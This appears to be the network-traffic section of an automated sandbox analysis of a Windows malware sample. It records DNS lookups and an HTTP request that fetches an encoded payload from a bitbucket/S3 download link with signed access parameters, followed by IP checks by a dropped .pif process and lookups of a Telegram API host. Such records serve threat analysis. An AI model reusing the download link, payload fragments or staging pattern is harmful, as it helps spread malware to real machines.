Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.70.225	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.225.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.117.217	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.179	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.29.61	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.213	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.137.177	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.29.69	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:54.310570955 CET	1.1.1.1	192.168.2.7	0x4e76	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:24:54.310570955 CET	1.1.1.1	192.168.2.7	0x4e76	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:54.310570955 CET	1.1.1.1	192.168.2.7	0x4e76	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:54.310570955 CET	1.1.1.1	192.168.2.7	0x4e76	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:54.310570955 CET	1.1.1.1	192.168.2.7	0x4e76	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:54.310570955 CET	1.1.1.1	192.168.2.7	0x4e76	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:25:06.402973890 CET	1.1.1.1	192.168.2.7	0x43e	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:25:25.067562103 CET	1.1.1.1	192.168.2.7	0xfca1	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bitbucket.org

bbuseruploads.s3.amazonaws.com

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49710	132.226.8.169	80	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:24:54.457456112 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 26, 2024 08:24:56.550540924 CET	272	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:24:56 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49741	132.226.8.169	80	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:25:06.281001091 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 26, 2024 08:25:09.056787014 CET	272	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:25:08 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49758	132.226.8.169	80	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:25:13.399166107 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 26, 2024 08:25:14.908473969 CET	272	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:25:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	185.166.143.48	443	7128	C:\Users\user\Desktop\EPTMAcgvNZ.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:24:43 UTC	187	OUT	GET /ntim1478/gpmaw/downloads/240_Cobsfhiygmx HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: bitbucket.org
2024-11-26 07:24:43 UTC	5753	IN	HTTP/1.1 302 Found Date: Tue, 26 Nov 2024 07:24:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-bb79-4526-ae33-7a2e4ade5334/240_Cobsfhiygmx?response-content-disposition=attachment%3B%20filename%3D%22240_Cobsfhiygmx%22&AWSAccessKeyId=ASIA6KOSE3BNDW6O2X3G&Signature=2chtfxoFxVQH%2B%2Bqk1LYozF4rZ%2B0%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEID%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIAD1NYAHfsojP08kbtMfuAOMGAEvCe3UKQ8UuqEcK7AUAiBLFY8fCNgsv5yXRVa1b5QNwmml9rALfaMKgd8jdopQyyqnAggoEAAaDDk4NDUyNTEwMTE0NiIMfAZ8Us6gNEO9lXe4KoQC4H3JCLPChoPHuNq8eVCV0VMfd0IICdqgHHTSS7ANzAU4dth3BBqgfGziNIRR91nsxqTwbAAkR9UbQFCz06yniB%2BRGncxwoJCSnWAnC0PMUZxzU%2B%2BmfP%2FabATRJ9BblkOl1DPLVzf%2FJK1O6swKVUCdmPXu9Jkpx0Zs3JpqA2SUfKf9kMOAbhud5%2B1kxcQ6T7uVBLz8q4gm46LDNyHkSdwPE%2FQPgP3oIs4bSwQ5TMxJgIO5MbAPud6%2Bz%2FVgFMzq8rBGnCYT%2F4UbUFOLOxmP7f%2FDVGr5XggPH5IbOKF9s2N5SU%2B%2B%2BFpTKfe55tJ6Uv%2BfHOKA0oQO%2BP7Wdzhn3fln1%2B7PoGjL2cwk%2BqVugY6ngGYCJOQQCMy7ggWig9zh2r3BmXcbjQcgkcKcTBPK9af%2FavWTGfdHkiCsWui9miH9txKAmMYOb08nXhpPgiwJXB [TRUNCATED] Expires: Tue, 26 Nov 2024 07:24:43 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: e6e5cbe73c66 X-Version: 0fc738d114da X-Static-Version: 0fc738d114da X-Request-Count: 1263 X-Render-Time: 0.04105949401855469 X-B3-Traceid: c290021cf1fc43d99e1138be62a994ab X-B3-Spanid: c9c43378a83c3f25 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; base-uri 'self'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; connect-src bitbucket.org .bitbucket.org bb-inf.net *.bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam- [TRUNCATED] X-Usage-Quota-Remaining: 999210.284 X-Usage-Request-Cost: 801.87 X-Usage-User-Time: 0.020435 X-Usage-System-Time: 0.003621 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: c290021cf1fc43d99e1138be62a994ab Atl-Request-Id: c290021c-f1fc-43d9-9e11-38be62a994ab Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=152,atl-edge-internal;dur=4,atl-edge-upstream;dur=150,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	16.182.70.225	443	7128	C:\Users\user\Desktop\EPTMAcgvNZ.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:24:45 UTC	1303	OUT	GET /e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-bb79-4526-ae33-7a2e4ade5334/240_Cobsfhiygmx?response-content-disposition=attachment%3B%20filename%3D%22240_Cobsfhiygmx%22&AWSAccessKeyId=ASIA6KOSE3BNDW6O2X3G&Signature=2chtfxoFxVQH%2B%2Bqk1LYozF4rZ%2B0%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEID%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIAD1NYAHfsojP08kbtMfuAOMGAEvCe3UKQ8UuqEcK7AUAiBLFY8fCNgsv5yXRVa1b5QNwmml9rALfaMKgd8jdopQyyqnAggoEAAaDDk4NDUyNTEwMTE0NiIMfAZ8Us6gNEO9lXe4KoQC4H3JCLPChoPHuNq8eVCV0VMfd0IICdqgHHTSS7ANzAU4dth3BBqgfGziNIRR91nsxqTwbAAkR9UbQFCz06yniB%2BRGncxwoJCSnWAnC0PMUZxzU%2B%2BmfP%2FabATRJ9BblkOl1DPLVzf%2FJK1O6swKVUCdmPXu9Jkpx0Zs3JpqA2SUfKf9kMOAbhud5%2B1kxcQ6T7uVBLz8q4gm46LDNyHkSdwPE%2FQPgP3oIs4bSwQ5TMxJgIO5MbAPud6%2Bz%2FVgFMzq8rBGnCYT%2F4UbUFOLOxmP7f%2FDVGr5XggPH5IbOKF9s2N5SU%2B%2B%2BFpTKfe55tJ6Uv%2BfHOKA0oQO%2BP7Wdzhn3fln1%2B7PoGjL2cwk%2BqVugY6ngGYCJOQQCMy7ggWig9zh2r3BmXcbjQcgkcKcTBPK9af%2FavWTGfdHkiCsWui9miH9txKAmMYOb08nXhpPgiwJXBhhGW9aVZgTRRjdb2Sv%2FPIWSb4mnaUlx07x5vLgIpzF [TRUNCATED] Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: bbuseruploads.s3.amazonaws.com
2024-11-26 07:24:46 UTC	544	IN	HTTP/1.1 200 OK x-amz-id-2: SY6tbCyvefy+FP58W4HPlmDrKp7NC6clrX5TRPGCBdCUxC4E/U5Iak7N2IDKhgE5iMjwJ+/tRHA= x-amz-request-id: CNQ2XMRJ6F4HXH0M Date: Tue, 26 Nov 2024 07:24:46 GMT Last-Modified: Sun, 13 Oct 2024 21:45:00 GMT ETag: "fd32db13b598ad70b971a451dbafcd53" x-amz-server-side-encryption: AES256 x-amz-version-id: PjPSYxMoVKIx7__cOzoruubIprFqYDE. Content-Disposition: attachment; filename="240_Cobsfhiygmx" Accept-Ranges: bytes Content-Type: application/octet-stream Content-Length: 749280 Server: AmazonS3 Connection: close
2024-11-26 07:24:46 UTC	16384	IN	Data Raw: 72 62 57 73 59 43 71 75 75 46 49 63 47 69 73 6a 49 52 30 56 47 53 30 64 48 53 59 69 47 52 59 64 47 79 41 59 46 68 6b 6a 46 78 30 73 47 79 67 56 4c 52 6b 75 4b 43 34 65 48 78 34 64 4b 78 67 74 49 69 67 6d 49 69 51 57 4b 69 73 6f 4a 52 59 64 47 78 69 74 74 61 78 67 4b 71 36 34 55 6c 55 6a 46 69 63 61 48 42 30 74 47 79 45 73 72 62 57 73 59 43 71 75 75 46 4c 72 35 6c 63 4a 43 2b 6c 4a 36 2f 7a 73 37 31 4c 6b 52 66 4c 73 36 75 77 4b 44 42 50 6a 52 2b 66 37 36 76 51 48 2b 55 58 36 39 2f 33 79 44 51 51 48 2b 30 54 33 38 66 66 36 45 41 4a 47 2f 76 72 33 39 77 51 48 45 65 35 51 37 76 72 79 36 77 2f 78 52 66 66 73 37 50 6f 51 45 77 7a 70 51 2b 54 6e 35 65 4d 52 37 31 48 34 36 76 66 6e 58 52 4e 53 2f 6a 37 71 37 75 33 76 56 2b 35 42 35 76 66 31 37 6c 51 4d 58 76 73 Data Ascii: rbWsYCquuFIcGisjIR0VGS0dHSYiGRYdGyAYFhkjFx0sGygVLRkuKC4eHx4dKxgtIigmIiQWKisoJRYdGxittaxgKq64UlUjFicaHB0tGyEsrbWsYCquuFLr5lcJC+lJ6/zs71LkRfLs6uwKDBPjR+f76vQH+UX69/3yDQQH+0T38ff6EAJG/vr39wQHEe5Q7vry6w/xRffs7PoQEwzpQ+Tn5eMR71H46vfnXRNS/j7q7u3vV+5B5vf17lQMXvs
2024-11-26 07:24:46 UTC	480	IN	Data Raw: 5a 52 6c 35 61 6b 51 2b 51 34 65 53 49 47 47 78 68 49 69 33 4f 33 51 34 52 44 76 54 51 45 74 77 6f 38 72 58 38 77 57 75 7a 38 73 5a 67 30 46 59 49 34 2f 4b 6c 7a 64 61 32 45 47 6f 6d 62 51 5a 39 4f 4f 41 57 48 4e 4e 75 79 6e 55 34 4d 4c 75 50 5a 4e 57 63 34 73 69 4e 59 58 4a 45 74 59 4e 33 77 73 52 74 71 53 75 66 79 74 56 4d 56 64 2b 51 36 62 6a 38 39 79 62 2b 43 4f 58 4d 79 54 65 43 71 63 67 45 4d 63 33 58 7a 7a 39 31 43 48 6c 43 38 55 4c 6e 74 64 42 56 47 63 74 4c 32 76 33 59 69 35 39 76 37 69 4d 59 5a 6e 57 48 55 59 50 38 33 7a 2b 4e 74 78 42 59 48 44 48 31 7a 64 44 5a 59 6d 44 4e 49 4a 77 49 43 33 51 2b 6b 75 79 4c 4d 47 7a 4f 62 58 4d 65 2f 72 39 6b 42 32 55 31 6c 55 67 6c 79 2f 4e 58 2b 69 59 66 6d 45 39 59 58 72 59 4f 71 61 32 37 58 44 4d 46 76 49 Data Ascii: ZRl5akQ+Q4eSIGGxhIi3O3Q4RDvTQEtwo8rX8wWuz8sZg0FYI4/Klzda2EGombQZ9OOAWHNNuynU4MLuPZNWc4siNYXJEtYN3wsRtqSufytVMVd+Q6bj89yb+COXMyTeCqcgEMc3Xzz91CHlC8ULntdBVGctL2v3Yi59v7iMYZnWHUYP83z+NtxBYHDH1zdDZYmDNIJwIC3Q+kuyLMGzObXMe/r9kB2U1lUgly/NX+iYfmE9YXrYOqa27XDMFvI
2024-11-26 07:24:46 UTC	16384	IN	Data Raw: 34 4b 6c 53 71 70 69 47 6b 31 68 56 74 69 47 2f 5a 54 41 62 6e 2b 33 74 5a 55 56 71 55 7a 4b 34 64 61 2b 73 42 65 36 38 6e 31 57 4e 52 4e 31 7a 47 71 6a 2b 76 31 6b 69 61 63 50 58 7a 31 78 57 4b 47 76 64 49 42 45 48 47 33 56 4a 39 75 45 72 70 36 34 4e 64 4b 6f 39 7a 64 6f 65 41 31 61 56 4d 35 31 74 7a 6e 45 35 49 51 78 49 31 48 55 74 53 42 2b 4a 68 57 45 6f 62 44 56 65 62 73 70 47 62 38 45 78 4d 68 56 68 6c 79 61 2f 69 61 76 47 65 36 71 36 4b 70 70 68 2b 6b 6c 6e 48 7a 6e 32 73 32 69 32 4e 57 51 2f 5a 56 66 76 37 63 32 76 2f 79 4d 38 69 61 61 6e 76 48 43 76 72 43 6a 6a 39 2b 68 6e 53 45 72 2b 78 72 4d 47 6e 53 66 4b 36 4d 38 46 53 6e 33 65 6f 33 55 67 70 56 70 4c 31 4a 68 70 4b 4b 4d 50 79 42 34 34 62 30 68 46 31 6f 69 5a 38 71 50 50 33 6f 79 6e 53 35 42 Data Ascii: 4KlSqpiGk1hVtiG/ZTAbn+3tZUVqUzK4da+sBe68n1WNRN1zGqj+v1kiacPXz1xWKGvdIBEHG3VJ9uErp64NdKo9zdoeA1aVM51tznE5IQxI1HUtSB+JhWEobDVebspGb8ExMhVhlya/iavGe6q6Kpph+klnHzn2s2i2NWQ/ZVfv7c2v/yM8iaanvHCvrCjj9+hnSEr+xrMGnSfK6M8FSn3eo3UgpVpL1JhpKKMPyB44b0hF1oiZ8qPP3oynS5B
2024-11-26 07:24:46 UTC	1024	IN	Data Raw: 77 4d 58 39 58 6d 51 75 33 52 46 66 6c 62 78 70 47 6e 46 76 2b 49 53 50 6b 4e 4b 57 4f 6c 37 43 6a 44 56 4c 68 39 73 42 2f 2f 49 2b 4a 69 6b 7a 64 66 58 33 71 41 2b 33 31 57 39 47 57 65 6b 44 4a 71 38 74 4c 6a 65 55 7a 37 34 70 54 34 42 68 54 75 37 44 46 41 2b 66 6d 67 56 74 6a 76 66 65 34 35 56 63 6a 55 5a 53 38 75 63 4f 2b 68 47 4a 68 30 57 55 42 57 69 39 61 79 76 51 71 58 4a 5a 43 46 4e 66 45 50 31 66 2b 6a 64 78 4e 47 76 49 50 74 32 52 75 61 79 30 52 71 36 77 34 39 41 47 4d 65 58 6f 66 4c 2f 52 4a 39 6c 6d 53 52 66 4f 64 35 6d 66 5a 2b 6c 77 6f 64 30 48 50 6e 72 70 63 4e 64 6d 6f 50 6c 42 34 36 6d 65 48 56 59 32 77 33 6c 45 57 6a 62 69 78 49 6d 46 34 2b 34 2b 45 71 4f 4b 44 65 6e 35 66 55 48 73 35 2b 48 77 7a 49 6d 51 39 63 35 65 5a 76 68 31 45 79 78 Data Ascii: wMX9XmQu3RFflbxpGnFv+ISPkNKWOl7CjDVLh9sB//I+JikzdfX3qA+31W9GWekDJq8tLjeUz74pT4BhTu7DFA+fmgVtjvfe45VcjUZS8ucO+hGJh0WUBWi9ayvQqXJZCFNfEP1f+jdxNGvIPt2Ruay0Rq6w49AGMeXofL/RJ9lmSRfOd5mfZ+lwod0HPnrpcNdmoPlB46meHVY2w3lEWjbixImF4+4+EqOKDen5fUHs5+HwzImQ9c5eZvh1Eyx
2024-11-26 07:24:46 UTC	16384	IN	Data Raw: 52 68 61 37 52 57 37 65 50 52 64 70 45 64 74 75 31 58 6e 57 4f 68 51 64 35 41 71 6c 4f 46 74 77 39 2b 55 73 46 55 4d 4d 49 43 66 2b 61 66 4f 39 79 6d 56 67 42 55 66 37 46 34 55 42 50 77 78 47 69 66 57 58 74 51 47 77 6a 70 77 70 6a 42 4d 6d 4f 68 76 72 44 64 35 53 6e 58 6d 66 42 6a 71 52 65 6b 54 4a 4e 70 48 6d 57 62 73 4c 33 53 6c 66 64 43 46 56 68 44 7a 6b 2f 31 33 7a 37 2b 33 62 39 6d 56 79 72 74 72 33 61 67 36 47 6f 56 57 57 2b 4e 68 56 78 43 79 45 65 4c 77 4b 2b 67 4c 32 61 4b 69 79 46 54 77 32 36 62 68 69 4a 4a 70 55 4a 35 4d 68 53 6a 76 62 68 34 78 54 6a 72 38 33 49 4b 65 6a 34 5a 6e 33 75 62 35 75 32 36 37 4c 75 43 6b 68 6a 55 79 58 43 66 42 75 67 54 68 4a 4c 4d 51 45 58 36 33 43 54 72 56 4f 37 36 37 41 73 6d 49 47 4a 46 66 4c 58 35 35 56 55 5a 61 Data Ascii: Rha7RW7ePRdpEdtu1XnWOhQd5AqlOFtw9+UsFUMMICf+afO9ymVgBUf7F4UBPwxGifWXtQGwjpwpjBMmOhvrDd5SnXmfBjqRekTJNpHmWbsL3SlfdCFVhDzk/13z7+3b9mVyrtr3ag6GoVWW+NhVxCyEeLwK+gL2aKiyFTw26bhiJJpUJ5MhSjvbh4xTjr83IKej4Zn3ub5u267LuCkhjUyXCfBugThJLMQEX63CTrVO767AsmIGJFfLX55VUZa
2024-11-26 07:24:46 UTC	1024	IN	Data Raw: 63 70 45 78 4f 47 7a 68 56 71 65 53 68 52 38 49 55 7a 51 4e 42 38 67 64 31 50 52 69 63 57 67 48 77 4b 4f 67 50 37 39 6a 2b 76 43 4a 48 4f 64 49 4f 6b 6e 6e 6a 33 62 76 6e 6e 48 52 37 4c 46 57 56 2f 48 53 50 79 64 32 6f 52 78 50 71 7a 2b 47 36 74 71 79 42 59 59 52 34 65 7a 52 65 4b 4a 75 55 75 39 75 51 37 5a 6d 69 65 4b 32 31 65 77 4b 67 4e 6d 6a 68 56 59 68 77 53 62 49 4b 4c 67 32 6e 64 4b 61 7a 66 4b 76 4c 50 46 52 4a 53 42 75 6c 4b 41 39 7a 74 54 62 66 78 72 74 38 56 37 79 55 56 42 44 47 6e 75 35 47 61 6e 46 4a 2f 63 6b 31 47 47 63 37 32 57 74 6b 71 66 36 67 66 38 58 51 6a 39 49 4b 63 62 74 53 43 4f 4b 7a 2b 70 6a 42 37 6a 56 34 63 6a 45 67 67 57 6b 48 42 49 66 4e 6c 66 43 63 6e 4c 35 36 47 47 6d 6e 6a 61 70 2b 34 2f 30 67 65 68 7a 6f 38 41 58 37 65 77 Data Ascii: cpExOGzhVqeShR8IUzQNB8gd1PRicWgHwKOgP79j+vCJHOdIOknnj3bvnnHR7LFWV/HSPyd2oRxPqz+G6tqyBYYR4ezReKJuUu9uQ7ZmieK21ewKgNmjhVYhwSbIKLg2ndKazfKvLPFRJSBulKA9ztTbfxrt8V7yUVBDGnu5GanFJ/ck1GGc72Wtkqf6gf8XQj9IKcbtSCOKz+pjB7jV4cjEggWkHBIfNlfCcnL56GGmnjap+4/0gehzo8AX7ew
2024-11-26 07:24:46 UTC	1749	IN	Data Raw: 55 69 45 51 72 73 2b 61 54 57 41 55 35 62 65 59 74 77 37 53 39 61 4f 47 54 5a 41 44 65 77 4e 5a 78 2f 67 31 6e 7a 55 49 66 55 42 63 61 74 48 31 32 4b 70 43 52 46 76 6f 37 57 6a 71 4b 39 46 37 71 62 63 69 48 42 47 2b 6d 5a 63 48 53 63 75 62 58 68 4a 37 65 68 68 57 44 4e 4c 2b 52 7a 67 58 79 4b 34 62 6f 49 51 46 61 39 38 39 74 58 57 33 4b 70 37 5a 30 39 75 55 62 4b 65 74 43 46 56 44 46 43 32 6b 73 70 6d 39 32 42 73 58 72 6d 63 4a 42 66 6a 2f 6b 66 42 79 72 4d 46 36 2f 46 73 6c 4b 42 79 6b 30 37 6d 30 2b 57 72 6c 6d 75 70 69 68 31 7a 35 76 44 4a 58 44 44 61 74 30 52 53 34 78 6c 37 2b 6e 70 4b 33 63 33 34 68 42 56 66 6f 59 50 4f 39 65 65 4c 71 2f 58 2b 77 57 50 44 59 50 76 44 64 38 4a 4e 48 58 4e 55 65 39 4d 72 5a 46 6a 55 74 62 47 7a 79 42 32 2b 73 47 47 44 Data Ascii: UiEQrs+aTWAU5beYtw7S9aOGTZADewNZx/g1nzUIfUBcatH12KpCRFvo7WjqK9F7qbciHBG+mZcHScubXhJ7ehhWDNL+RzgXyK4boIQFa989tXW3Kp7Z09uUbKetCFVDFC2kspm92BsXrmcJBfj/kfByrMF6/FslKByk07m0+Wrlmupih1z5vDJXDDat0RS4xl7+npK3c34hBVfoYPO9eeLq/X+wWPDYPvDd8JNHXNUe9MrZFjUtbGzyB2+sGGD
2024-11-26 07:24:46 UTC	16384	IN	Data Raw: 74 51 38 36 77 2f 4e 6b 49 52 34 33 51 65 47 37 5a 74 6d 43 77 62 4d 55 6d 57 61 45 63 76 43 36 42 30 34 41 59 56 68 59 71 45 66 52 78 30 4e 78 41 67 34 4e 45 42 4a 32 4d 6b 52 2b 48 45 69 41 36 64 56 6e 72 52 59 39 57 51 51 64 35 68 55 43 32 31 77 2f 2b 76 34 67 32 71 47 4d 74 73 6d 72 6b 4b 2b 74 5a 49 4d 35 39 4f 63 31 56 30 41 67 62 61 46 76 4e 61 35 69 35 35 37 34 76 70 44 44 54 55 4a 37 6a 74 63 54 57 5a 55 41 73 64 4a 31 72 68 6d 63 2b 53 64 32 42 7a 67 56 6b 49 53 6c 70 57 47 4c 79 6a 38 70 35 79 4a 51 43 6c 6e 34 66 37 45 42 6c 70 50 31 35 6a 49 68 5a 54 6d 36 55 64 47 61 6a 44 35 6c 75 52 67 6a 68 42 71 68 42 78 2b 50 34 70 32 59 4e 50 71 46 66 42 59 68 58 31 38 4a 7a 72 44 38 79 4f 44 4e 35 65 4a 53 59 4a 75 41 34 59 6e 73 6c 79 68 49 6c 68 39 Data Ascii: tQ86w/NkIR43QeG7ZtmCwbMUmWaEcvC6B04AYVhYqEfRx0NxAg4NEBJ2MkR+HEiA6dVnrRY9WQQd5hUC21w/+v4g2qGMtsmrkK+tZIM59Oc1V0AgbaFvNa5i5574vpDDTUJ7jtcTWZUAsdJ1rhmc+Sd2BzgVkISlpWGLyj8p5yJQCln4f7EBlpP15jIhZTm6UdGajD5luRgjhBqhBx+P4p2YNPqFfBYhX18JzrD8yODN5eJSYJuA4YnslyhIlh9
2024-11-26 07:24:46 UTC	1024	IN	Data Raw: 54 34 6e 76 72 30 55 65 30 56 64 64 43 43 6e 7a 74 67 6c 44 64 2f 55 62 73 47 78 47 2b 57 33 4c 6a 77 71 6e 6b 42 44 6e 78 75 32 4f 6a 63 58 32 36 66 4f 37 68 34 48 4d 50 61 45 59 75 4f 6e 2b 49 73 4b 38 31 67 6f 62 4a 4b 6b 58 6d 53 56 70 43 48 36 69 4f 47 67 31 67 72 2f 56 70 65 42 70 70 51 76 43 64 67 56 6c 35 73 49 50 69 6f 41 31 51 56 37 34 50 6c 4e 4d 2b 46 61 38 61 79 34 68 71 44 37 61 78 41 4c 46 59 35 31 4b 42 70 68 51 61 33 6e 68 39 67 4f 41 4c 34 53 46 4c 4f 62 51 41 69 5a 53 4b 41 32 47 66 36 56 4c 4b 73 47 6e 75 53 6d 35 32 48 62 37 6d 31 30 70 7a 69 55 7a 61 59 37 57 6f 71 43 44 77 4e 67 56 32 61 52 53 4e 35 57 38 55 42 32 77 61 48 49 4b 4b 6a 67 76 51 45 38 42 65 42 48 6e 67 64 67 48 6d 76 33 6e 42 46 4d 59 35 47 37 67 72 6b 7a 6c 58 77 71 Data Ascii: 